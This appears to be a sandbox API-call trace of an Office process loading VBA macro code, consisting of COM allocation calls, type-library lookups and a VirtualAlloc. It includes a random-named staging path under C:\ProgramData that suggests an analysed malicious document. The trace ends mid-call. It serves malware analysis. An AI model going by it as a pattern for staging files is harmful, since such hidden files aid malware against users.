[0120.156] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0a610 [0120.156] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) returned 0x8 [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) [0120.157] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8) returned 0x2764bb0a610 [0120.157] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) returned 0x8 [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb0a610) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dec20) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de0c0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dea00) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deec0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dece0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deb40) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de560) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dee60) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de680) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de7e0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deca0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6e0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deea0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9ded40) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deba0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de7c0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9debe0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de700) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6c0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de6a0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dea20) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9deda0) [0120.157] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b511200) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223760) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7ffa0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7f7e0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b222d10) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223d90) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223970) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224c90) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b224d50) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22c3a0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22d270) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b22ce80) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b2320a0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb034d0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae803a0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb035c0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764bb03a70) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc91d0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca280) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca2e0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc97d0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcaf10) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcaf40) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca3a0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fca6a0) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb030) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb090) [0120.158] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fcb0f0) [0120.159] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbc330) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fbed60) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc4ee0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc50f0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc6e30) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db480) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9db5c0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x27644fc6e60) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad435a0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad43330) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad43c60) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad438d0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad43c90) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad43390) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9dc3c0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b9de660) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7d760) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7de20) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7d860) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7dea0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a210) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3a7b0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7da20) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7d8e0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3af00) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3bdd0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3df60) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3dfc0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ae7ece0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3e380) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3efb0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad3f0a0) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad43000) [0120.160] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b223640) [0120.161] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763bec3aa0) [0120.161] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763bec5900) [0120.161] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b7f87f0) [0120.161] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.161] IUnknown:AddRef (This=0x2763c01e338) returned 0x5 [0120.161] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e338, ppTypeAttr=0xb5690f5fa0, pDummy=0x0 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0x0) returned 0x0 [0120.161] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e338) returned 0x0 [0120.161] ITypeInfo:GetRefTypeOfImplType (in: This=0x2763c01e338, index=0x0, pRefType=0xb5690f5f98 | out: pRefType=0xb5690f5f98*=0xd) returned 0x0 [0120.161] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e338, hreftype=0xd, ppTInfo=0xb5690f5fa8 | out: ppTInfo=0xb5690f5fa8*=0x2764546d628) returned 0x0 [0120.162] IUnknown:Release (This=0x2763c01e338) returned 0x4 [0120.162] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d628, ppTypeAttr=0xb5690f5fa0, pDummy=0x1 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0x1) returned 0x0 [0120.162] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d628) returned 0x0 [0120.162] ITypeInfo:GetRefTypeOfImplType (in: This=0x2764546d628, index=0x0, pRefType=0xb5690f5f98 | out: pRefType=0xb5690f5f98*=0x182) returned 0x0 [0120.162] ITypeInfo:GetRefTypeInfo (in: This=0x2764546d628, hreftype=0x182, ppTInfo=0xb5690f5fa8 | out: ppTInfo=0xb5690f5fa8*=0x2764546d680) returned 0x0 [0120.162] IUnknown:Release (This=0x2764546d628) returned 0x7 [0120.162] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764546d680, ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f80 | out: ppTypeAttr=0xb5690f5fa0, pDummy=0xb5690f5f80*=0x690f5fb0) returned 0x0 [0120.162] ITypeInfo:LocalReleaseTypeAttr (This=0x2764546d680) returned 0x0 [0120.162] IUnknown:Release (This=0x2764546d680) returned 0x4 [0120.162] IUnknown:Release (This=0x2763c01e338) returned 0x3 [0120.162] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2764b3df570 [0120.162] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x30) returned 0x276455dee40 [0120.162] VirtualAlloc (lpAddress=0x0, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x27666160000 [0120.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05b444, cbMultiByte=38, lpWideCharStr=0x276661600dc, cchWideChar=78 | out: lpWideCharStr="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty") returned 38 [0120.165] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x412) returned 0x2764b9c94d0 [0120.165] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x0, cb=0x200) returned 0x2764b703dd0 [0120.165] realloc (_Block=0x0, _Size=0x200) returned 0x276527c60d0 [0120.165] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb0) returned 0x2764b72ddc0 [0120.165] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0xb8) returned 0x2764b72e0c0 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3d0) returned 0x2764b9b1320 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764b95f3d0 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x10) returned 0x2764b9de660 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x80) returned 0x2764afa8760 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a610 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a620 [0120.166] IUnknown:AddRef (This=0x276454bf8a0) returned 0x5 [0120.166] IUnknown:QueryInterface (in: This=0x276454bf8a0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.166] ITypeLib:GetTypeComp (in: This=0x276454bf8a0, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x276454bf8b0) returned 0x0 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455dea80 [0120.166] IUnknown:AddRef (This=0x276454bf8b0) returned 0x7 [0120.166] IUnknown:Release (This=0x276454bf8b0) returned 0x6 [0120.166] IUnknown:Release (This=0x276454bf8a0) returned 0x5 [0120.166] IUnknown:AddRef (This=0x276454c2ce0) returned 0xd [0120.166] IUnknown:QueryInterface (in: This=0x276454c2ce0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.166] ITypeLib:GetTypeComp (in: This=0x276454c2ce0, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x276454c2cf0) returned 0x0 [0120.166] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455dee80 [0120.166] IUnknown:AddRef (This=0x276454c2cf0) returned 0xf [0120.166] IUnknown:Release (This=0x276454c2cf0) returned 0xe [0120.166] IUnknown:Release (This=0x276454c2ce0) returned 0xd [0120.166] IUnknown:AddRef (This=0x276454c2a20) returned 0x13 [0120.166] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.167] ITypeLib:GetTypeComp (in: This=0x276454c2a20, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x276454c2a30) returned 0x0 [0120.167] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455de980 [0120.167] IUnknown:AddRef (This=0x276454c2a30) returned 0x15 [0120.167] IUnknown:Release (This=0x276454c2a30) returned 0x14 [0120.167] IUnknown:Release (This=0x276454c2a20) returned 0x13 [0120.174] wcscpy_s (in: _Destination=0x2764b95f648, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0120.174] wcsncpy_s (in: _Destination=0xb5690f4690, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0120.174] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0120.174] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f45c0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0120.174] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0120.214] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b880cf0 [0120.214] IUnknown:AddRef (This=0x276454c16e0) returned 0x4 [0120.215] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.215] ITypeLib:GetTypeComp (in: This=0x276454c16e0, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x276454c16f0) returned 0x0 [0120.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455deb00 [0120.215] IUnknown:AddRef (This=0x276454c16f0) returned 0x6 [0120.215] IUnknown:Release (This=0x276454c16f0) returned 0x5 [0120.215] IUnknown:Release (This=0x276454c16e0) returned 0x4 [0120.215] IUnknown:AddRef (This=0x2763beee850) returned 0x6 [0120.215] IUnknown:QueryInterface (in: This=0x2763beee850, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.215] ITypeLib:GetTypeComp (in: This=0x2763beee850, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x2763beee860) returned 0x0 [0120.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455de0c0 [0120.215] IUnknown:AddRef (This=0x2763beee860) returned 0x8 [0120.215] IUnknown:Release (This=0x2763beee860) returned 0x7 [0120.215] IUnknown:Release (This=0x2763beee850) returned 0x6 [0120.215] IUnknown:AddRef (This=0x2764b6d0130) returned 0x3 [0120.215] IUnknown:QueryInterface (in: This=0x2764b6d0130, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.215] ITypeLib:GetTypeComp (in: This=0x2764b6d0130, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x2764b6d0140) returned 0x0 [0120.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455deb40 [0120.215] IUnknown:AddRef (This=0x2764b6d0140) returned 0x5 [0120.215] IUnknown:Release (This=0x2764b6d0140) returned 0x4 [0120.215] IUnknown:Release (This=0x2764b6d0130) returned 0x3 [0120.215] IUnknown:AddRef (This=0x2764b6d0970) returned 0x3 [0120.215] IUnknown:QueryInterface (in: This=0x2764b6d0970, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f4ab0 | out: ppvObject=0xb5690f4ab0*=0x0) returned 0x80004002 [0120.215] ITypeLib:GetTypeComp (in: This=0x2764b6d0970, ppTComp=0xb5690f4aa8 | out: ppTComp=0xb5690f4aa8*=0x2764b6d0980) returned 0x0 [0120.215] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x276455dfa00 [0120.215] IUnknown:AddRef (This=0x2764b6d0980) returned 0x5 [0120.216] IUnknown:Release (This=0x2764b6d0980) returned 0x4 [0120.216] IUnknown:Release (This=0x2764b6d0970) returned 0x3 [0120.216] IUnknown:Release (This=0x2763c01f2f8) returned 0x2 [0120.216] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x0) returned 0x2764bb0a630 [0120.216] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f46d0 | out: ppvObject=0xb5690f46d0*=0x0) returned 0x80004002 [0120.216] IUnknown:QueryInterface (in: This=0x2763c01f2f8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f4618 | out: ppvObject=0xb5690f4618*=0x2763c01f2f8) returned 0x0 [0120.216] ITypeInfo2:GetCustData (in: This=0x2763c01f2f8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f4628 | out: pVarVal=0xb5690f4628*(varType=0x0, wReserved1=0x690f, wReserved2=0xb5, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0120.216] IUnknown:Release (This=0x2763c01f2f8) returned 0x3 [0120.216] ITypeInfo:RemoteGetDocumentation (in: This=0x2763c01f2f8, memid=-1, refPtrFlags=0x690f4620, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f4640 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb5690f4640*="䦐椏µ") returned 0x0 [0120.216] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="UserForm", cchWideChar=9, lpMultiByteStr=0xb5690f4530, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UserForm", lpUsedDefaultChar=0x0) returned 9 [0120.216] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="UserForm") returned 0x40044e [0120.216] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e338, ppTypeAttr=0xb5690f4620, pDummy=0x0 | out: ppTypeAttr=0xb5690f4620, pDummy=0x0) returned 0x0 [0120.216] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x0, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x1, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x2, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x3, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x4, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x5, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x6, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.216] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.216] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x7, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x8, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x9, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xa, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xb, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xc, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xd, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xe, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0xf, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x10, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x11, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x12, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x13, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x14, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x15, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x16, ppFuncDesc=0xb5690f45f8, pDummy=0x6 | out: ppFuncDesc=0xb5690f45f8, pDummy=0x6) returned 0x0 [0120.217] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e338) returned 0x0 [0120.217] ITypeInfo:RemoteGetFuncDesc (in: This=0x2763c01e338, index=0x17, ppFuncDesc=0xb5690f45f8, pDummy=0x6 